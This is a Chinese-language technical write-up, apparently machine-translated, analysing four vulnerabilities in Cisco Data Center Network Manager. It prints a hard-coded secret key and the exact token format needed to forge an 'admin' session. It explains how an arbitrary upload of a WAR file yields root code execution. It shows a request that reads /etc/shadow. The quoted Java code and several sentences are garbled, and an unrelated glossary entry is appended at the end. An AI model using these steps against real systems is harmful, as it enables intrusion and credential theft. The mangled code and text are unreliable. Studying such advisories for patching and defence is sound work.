思科DCNM多个漏洞细节分析

科技 2019-12-23 21:47 阅读:46

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

摘要

Cisco Data Center Network Manager(DCNM)是由Cisco的虚拟设备、Windows和Red Hat Linux的安装包。为了在全球范围内思科设备,DCNM部署在全球分布的数据中心。

下表列出了每个漏洞的受影响版本:

身份验证绕过存在于10.4(2)版本,允许攻击者利用文件上传进行远程代码执行。

为了实现任意文件上传漏洞并进行远程代码执行,攻击者可以在Tomcat webapps文件夹中写入一个war文件。Apache Tomcat运行为root,因此Java shell将以root身份运行。

供应商简介

Cisco®Data Center Network Manager(DCNM)是针对所有NX-OS网络部署的综合解决方案,涵盖由Cisco数据中心中的LAN结构、SAN结构和IP结构(IPFM)网络。DCNM 11跨Cisco Nexus®和Cisco多层分布式交换(MDS)解决方案包括、控制、自动化、监控、可视化和故障排除。

DCNM 11支持Cisco Nexus交换机的多机多机基础设施。DCNM还支持使用Cisco MDS 9000系列和Cisco Nexus交换机存储功能进行存储。

DCNM 11为结构引导、SAN分区、设备别名、漏洞分析、SAN主机路径冗余和端口监控配置了接口。

技术细节 漏洞1:身份认证绕过

Vulnerability: Authentication Bypass

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 10.4(2) 及以下

DCNM在url/fm/pmreport中的“reportservlet”滥用此servlet导致未经身份验证的攻击者可以在Web界面上获取有效的会话。

下面的代码片段显示了servlet的功能:

com.cisco.dcbu.web.client.performance.ReportServlet public void doGetHttpServletRequest request, HttpServletResponse response throws ServletException, IOException { Credentials cred = Credentialsrequest.getSession.getAttribute“credentials”; ifcred == null !cred.isAuthenticated && !“fetch”.equalsrequest.getParameter“command” && !this.verifyTokenrequest { request.setAttribute“popUpSessionTO” “true”; } this.doInteractiveChartrequest, response }

请求交给verifyToken函数进行下一步处理:

fmUserBase fmUserBase=isc.verifyssotoken(令牌)

HTTP请求参数“token”被传递给iscrif.verifyssotoken,如果该函数返回有效的用户,则请求经过身份验证,凭证存储在会话中。

让我们继续了解iscrif.verifyssotoken中如何进行处理

public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken) } public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken) if(confirmSSOToken(ssoToken) { fmUser = UserManager.getInstance.findUser(userName) if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd, fmUser.getRoles) } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName) } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance.getFMUser(getSessionIdByToken(ssoToken); } } } catch (Exception var5) { _Logger.info(“verifySSoToken: ” var5) } return fmUserBase; }

从上面的代码中可以看到,用户名是从这里获得令牌

userName = getSSoTokenUserName(ssoToken)

继续进行代码分析:

public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)3 } private static String getSSoTokenDetails(String ssoToken) { String ret = new String4 String separator = getTokenSeparator; StringTokenizer st = new StringTokenizer(ssoToken, separator) if(st.hasMoreTokens) { ret0 = st.nextToken; ret1 = st.nextToken; ret2 = st.nextToken; for(ret3 = st.nextToken; st.hasMoreTokens; ret3 = ret3 + separator + st.nextToken) { ; } } return ret; }

令牌是一个字符串,由分隔符分隔,包含四个部分,其中第四部分是用户名。

现在回到上面列出的securityManager.verifyssotoken,我们看到在调用getssotokenusername之后,调用confirmssotoken:

public static FMUserBase verifySSoToken(String ssoToken) (...) userName = getSSoTokenUserName(ssoToken) if(confirmSSOToken(ssoToken) fmUser = UserManager.getInstance.findUser(userName) if(fmUser != null) fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd, fmUser.getRoles) (...) public static boolean confirmSSOToken(String ssoToken) String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try String detail = getSSoTokenDetails(ssoToken) userName = detail3 int sessionId = Integer.parseInt(detail0; sysTime = (new Long(detail1).longValue; if(System.currentTimeMillis - sysTime > 600000L) return ret; digest = detail2 if(digest != null && digest.equals(getMessageDigest(“MD5” userName, sessionId, sysTime)) ret = true; userNameTLC.set(userName) catch (Exception var9) _Logger.info(“confirmSSoToken: ” var9) return ret。

现在我们可以进一步理解令牌组成。它由以下部分组成:

sessionid+separator+systime+separator+digest+separator+username

什么是digest(指纹信息)让我们看看getMessageDigest函数:

private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm) md.update(input.getBytes) return new String(Base64.encodeBase64(byte)md.digest); }

该指纹信息是MD5值,由以下几个部分组成,中间有.符号分隔

userName + sessionid + sysTime + SECRETKEY

SECRETKEY是一串硬编码字符串:”POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF”

只要reportservlet接收到以下格式的令牌,它就会对任何请求进行身份验证:

sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username

sessionid可以由用户输入构造,时间可以通过获取HTTP头部日期转换为毫秒获得,我们知道secretkey和用户名,所以现在我们可以作为任何用户进行身份验证。以下是一个示例:

由于缺少servlet执行所需的参数,此请求将返回500个错误,但是它也将成功地向验证我们的身份,并返回一个jsessionid cookie,并为用户有效会话。

请注意,用户必须是有效的。“admin”用户是一个很好的选择,因为它默认存在于所有中,也是中特权用户。

在11.0(1)中,reportservlet.verifytoken函数崩溃,出现异常:

这将导致执行进入上面所示的catch块,函数将返回false,因此返回的JSessionID cookie中不会存储凭证。

在11.0(1)版上,已经从war xml映射文件中删除了reportservlet,因此请求该URL现在返回一个HTTP404错误。

漏洞2:任意文件上传导致远程代码执行

Vulnerability: Arbitrary File Upload (leading to remote code execution)

Attack Vector: Remote

Constraints: Authentication to the web interface as an unprivileged user required EXCEPT for version 11.1(1) where it can be exploited by an unauthenticated user

漏洞存在于DCNM在/fm/file upload中的文件上载servlet(fileuploadservlet)经过身份验证的用户可以利用此servlet将文件上载到任意目录,最终实现远程代码执行。

此servlet的代码如下所示:

com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPostHttpServletRequest request, HttpServletResponse response throws ServletException, IOException { this.doGetrequest, response } public void doGetHttpServletRequest request, HttpServletResponse response throws ServletException, IOException { Credentials cred = CredentialsObjectrequest.getSession.getAttribute“credentials” if cred == null !cred.isAuthenticated { throw new ServletException“User not logged in or Session timed out.”; } this.handleUploadrequest, response }

上面显示的代码很简单,请求被传递到handleupload:

private void handleUploadHttpServletRequest request, HttpServletResponse response throws ServletException, IOException { response.setContentTypeCONTENT_TYPE PrintWriter out = null; ArrayList allowedFormats = new ArrayList; allowedFormats.add“jpeg”; allowedFormats.add“png”; allowedFormats.add“gif”; allowedFormats.add“jpg”; allowedFormats.add“cert”; File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory; String statusMessage = String fname = String uploadDir = ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUploadFileItemFactoryfactory TransformerHandler hd = null; try { out = response.getWriter; StreamResult streamResult = new StreamResultout SAXTransformerFactory tf = SAXTransformerFactorySAXTransformerFactory.newInstance; items = upload.parseRequestrequest iterator = items.listIterator; hd = tf.newTransformerHandler; Transformer serializer = hd.getTransformer; serializer.setOutputProperty“encoding” “UTF-8”; serializer.setOutputProperty“doctype-system” “response.dtd”; serializer.setOutputProperty“indent” “yes”; serializer.setOutputProperty“method” “xml”; hd.setResultstreamResult hd.startDocument; AttributesImpl atts = new AttributesImpl; hd.startElement “response” atts while iterator.hasNext { atts.clear; item = FileItemiterator.next; if item.isFormField { if item.getFieldName.equalsIgnoreCase“fname” { fname = item.getString; } if item.getFieldName.equalsIgnoreCase“uploadDir” && uploadDir = item.getString.equalsDEFAULT_TRUST_STORE_UPLOADDIR { uploadDir = ClientCache.getJBossHome + File.separator + “server” + File.separator + “fm” + File.separator + “conf” } atts.addAttribute “id” “CDATA” item.getFieldName hd.startElement “field” atts hd.charactersitem.getString.toCharArray, 0, item.getString.length hd.endElement “field”; atts.clear; continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStreamitem.getInputStream Iterator imageReaders = ImageIO.getImageReadersimageInputStream ImageReader imageReader = null; if imageReaders.hasNext { imageReader = imageReaders.next; } try { String imageFormat = imageReader.getFormatName; String newFileName = fname + “.” + imageFormat; if allowedFormats.containsimageFormat.toLowerCase { FileFilter fileFilter = new FileFilter; fileFilter.setImageTypesallowedFormats File fileList = new FileuploadDir.listFilesfileFilter for int i = 0; i < fileList.length; ++i { new FilefileListi.getAbsolutePath.delete; } disk = new FileuploadDir + File.separator + fname item.writedisk Calendar calendar = Calendar.getInstance; SimpleDateFormat simpleDateFormat = new SimpleDateFormat“MM.dd.yy hh:mm:ss aaa”; statusMessage = “File successfully written to server at ” + simpleDateFormat.formatcalendar.getTime } imageReader.dispose; imageInputStream.close; atts.addAttribute “id” “CDATA” newFileName } catch Exception ex { this.processUploadedFileitem, uploadDir, fname Calendar calendar = Calendar.getInstance; SimpleDateFormat simpleDateFormat = new SimpleDateFormat“MM.dd.yy hh:mm:ss aaa”; statusMessage = “File successfully written to server at ” + simpleDateFormat.formatcalendar.getTime atts.addAttribute “id” “CDATA” fname } hd.startElement “file” atts hd.charactersstatusMessage.toCharArray, 0, statusMessage.length hd.endElement “file”; } hd.endElement “response”; hd.endDocument; out.close; } catch Exception e { out.printlne.getMessage } }

handleupload更复杂,函数采用一个带有参数“uploaddir”参数“fname”的HTTP表单,取最后一个表单对象并将其写入“uploaddir/fname”

函数中有一个验证:该文件必须是有效的映像,并且具有下列扩展名之一:

allowedFormats.add“jpeg”; allowedFormats.add“png”; allowedFormats.add“gif”; allowedFormats.add“jpg”; allowedFormats.add“cert”。

但是,如果仔细观察,可以上传任意内容。这是因为在到达第二个(内部)Try-Catch块之前不会发生任何错误。

try String imageFormat = imageReader.getFormatName; ...

如果我们发送的二进制内容不是文件,则会导致ImageReader引发异常,并发送到catch:

catch Exception ex this.processUploadedFileitem, uploadDir, fname Calendar calendar = Calendar.getInstance; SimpleDateFormat simpleDateFormat = new SimpleDateFormat“MM.dd.yy hh:mm:ss aaa”; statusMessage = “File successfully written to server at ” + simpleDateFormat.formatcalendar.getTime atts.addAttribute “id” “CDATA” fname ...

这意味着文件内容、upload dir及其名称将被发送到processuploadedfile。

private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize; InputStream raw = item.getInputStream; BufferedInputStream in = new BufferedInputStream(raw) byte data = new bytecontentLength int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset) != -1; offset += bytesRead) { } in.close; if (offset != contentLength) { throw new IOException(“Only read ” + offset + “ bytes; Expected ” + contentLength + “ bytes”; } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname) out.write(data) out.flush; out.close; } catch (Exception ex) { throw new Exception(“FileUploadSevlet processUploadFile failed: ” + ex.getMessage) } }

这个函数完全忽略了内容,并简单地将文件内容写入到我们指定的文件名和文件夹中。

总之,如果我们发送任何不是文件的二进制内容,我们可以以root权限将其写入任何目录中的任何文件。

发送如下请求:

我们的文件已写入:

最后,如果我们将一个war文件写入jboss部署目录,将把war文件部署为根目录,允许攻击者实现远程代码执行。

利用此漏洞的metasploit模块已随本公告发布。

Vulnerability: Arbitrary File Download

Attack Vector: Remote

下面的代码显示servlet请求处理代码:

public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException Credentials cred = (Credentials)(Object)request.getSession.getAttribute(“credentials”) if (cred == null !cred.isAuthenticated) throw new ServletException(“User not logged in or Session timed out.”; String showFile = (String)request.getAttribute(“showFile”; if (showFile == null) showFile = request.getParameter(“showFile”; File f = new File(showFile) if (showFile.endsWith(“.cert”) response.setContentType(“application/octet-stream”; response.setHeader(“Pragma” “cache”; response.setHeader(“Cache-Control” “cache”; response.setHeader(“Content-Disposition” “attachment; filename=fmserver.cert;”; else if (showFile.endsWith(“.msi”) response.setContentType(“application/x-msi”; response.setHeader(“Pragma” “cache”; response.setHeader(“Cache-Control” “cache”; response.setHeader(“Content-Disposition” “attachment; filename=” + f.getName + ; else if (showFile.endsWith(“.xls”) response.setContentType(“application/vnd.ms-excel”; response.setHeader(“Pragma” “cache”; response.setHeader(“Cache-Control” “cache”; response.setHeader(“Content-Disposition” “attachment; filename=” + f.getName + ; ServletOutputStream os = response.getOutputStream; FileInputStream is = new FileInputStream(f) byte buffer = new byte4096 int read = 0; try while (read = is.read(buffer) > 0) os.write(buffer, 0, read) os.flush; catch (Exception e) LogService.log(LogService._WARNING, e.getMessage) finally is.close。

它接受一个“showfile”请求参数,读取该文件并返回给用户。下面是servlet的一个示例:

Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).::: bin:*::: daemon:*::: adm:*::: lp:*::: (...)

Vulnerability: Information Disclosure (log files download)

Attack Vector: Remote

Constraints: None

Affected products / versions:

Cisco Data Center Network Manager 11.1(1) and below

漏洞存在与DCNM /fm/log/fmlogs.zip logzipperservlet。未经身份验证的攻击者可以访问此servlet,它将以zip格式返回/usr/local/cisco/dcm/fm/logs/*中的所有日志文件,这些文件有关本地目录、软件版本、身份验证错误、详细的堆栈跟踪等信息。

实现示例:GET /fm/log/fmlogs.zip

修补情况

漏洞1升级到DCNM 11.0(1)及以上;漏洞2、3升级到DCNM 11.2(1)及以上;漏洞4还未修补。

参考

本文相关词条概念解析:

文件

文件是现代词,是一个专有名词,指的是形成的正式文书,分为公文、文书、函件和其他文件。狭义的“文件”就是档案的意思,广义的“文件”指公文书信或指有关政策、理论等方面的文章。文件的范畴很广泛,电脑上运行的程序、杀毒等等都叫文件。